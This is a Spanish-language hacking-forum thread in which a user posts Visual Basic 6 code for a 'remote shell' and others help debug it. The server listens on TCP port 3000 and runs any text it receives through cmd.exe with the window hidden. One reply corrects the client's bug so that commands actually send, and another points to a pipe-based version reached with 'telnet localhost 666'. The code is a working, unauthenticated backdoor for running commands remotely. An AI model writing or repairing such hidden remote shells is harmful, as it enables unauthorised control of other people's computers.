Ayuda con shell remota

[mastercss]

Bie me dispuse ha hacer una shell remota con el comando shell "cmd.exe /c .....". Estoy desesperado no entiendo el motivo del fallo del codigo. El caso es como si el server no recibiera el comando. Lo posteo para que lo vean:


SERVIDOR:

Código (vb) [Seleccionar] Expandir

Private Sub Form_Load()
Text1.Text = ""
Text2.Text = ""
Winsock1.Protocol = sckTCPProtocol
Winsock1.LocalPort = 3000
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim comando As String
Dim a As Integer
Winsock1.GetData comando
Text1.Text = comando
Shell ("%windir%/system32/cmd.exe /c " & Text1.Text & ">%windir%/shell.txt"), vbHide

End Sub

De moemtno solo busco que funcione no que me devuelva la respuesta.

CLIENTE:

Código (vb) [Seleccionar] Expandir

Private Sub Command1_Click()
Winsock1.Close
Winsock1.RemotePort = 3000
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect
End Sub

Private Sub Command2_Click()
Dim comando As String
Text4.Text = comando
Winsock1.SendData comando
Text4.Text = ""
End Sub

Private Sub Form_Load()
Text1.Text = ""
Text2.Text = ""
Text4.Text = ""
Label3.Caption = "Desconectado"
Winsock1.Protocol = sckTCPProtocol
End Sub

Private Sub Text2_Change()

End Sub

Private Sub Text4_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Command2_Click
End Sub

Private Sub Winsock1_Close()
Label3.Caption = "Desconectado"
Text2.Text = Text2.Text & vbCrLf & "Se ha perdido la conexión con el host remoto"
End Sub

Private Sub Winsock1_Connect()
Label3.Caption = "Conectado"
Text2.Text = "Conectado con exito a " & Winsock1.RemoteHostIP
End Sub


Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
Text3.Text = Text3.Text & vbCrLf & datos
End Sub


Gracias por adelantado. Espero sus respuestas. Salu2

[cobein]

http://foro.elhacker.net/empty-t277687.0.html

[mastercss]

Se que se puede hacer con pipes pero mi nivel de programación no me permite hacerlo asi. Mi pregunta es si alguien lo ha haxo de la manera que lo intento hacer que me diga que está mal.


Salu2

[Crypto 136]

Aqui cuando envias el comando en el cliente estas asignando mal la variable:

Código (vb) [Seleccionar] Expandir

Private Sub Command2_Click()
Dim comando As String
Text4.Text = comando
Winsock1.SendData comando
Text4.Text = ""
End Sub

Deberia ser asi :

Código (vb) [Seleccionar] Expandir

Private Sub Command2_Click()
Dim comando As String
comando = Text4.Text
Winsock1.SendData comando
Text4.Text = ""
End Sub

Intenta con eso... Suerte

[BlackZeroX]

Se que se puede hacer con pipes pero mi nivel de programación no me permite hacerlo asi. Mi pregunta es si alguien lo ha haxo de la manera que lo intento hacer que me diga que está mal.


Salu2

http://foro.elhacker.net/empty-t277687.0.html

ya mira aquí...

http://foro.elhacker.net/programacion_visual_basic/ayuda_con_cmd_pipe_vb6-t277687.0.html;msg1367077#msg1367077

A leerse completo el post!¡

El codigo de Cobein lo pegas en un modulo normal, quitas el form y estableses el proceso inicial a Sub Main()

Despues lo ejecutas se frezeara.

vas despues
inicio -> ejecutar escribes cmd  (Das Clic en aceptar)

en la terminal escribes

Código [Seleccionar] Expandir



telnet localhost 666



y ya esta tu Shell Remota!¡.

Dulce Infierno Lunar!¡.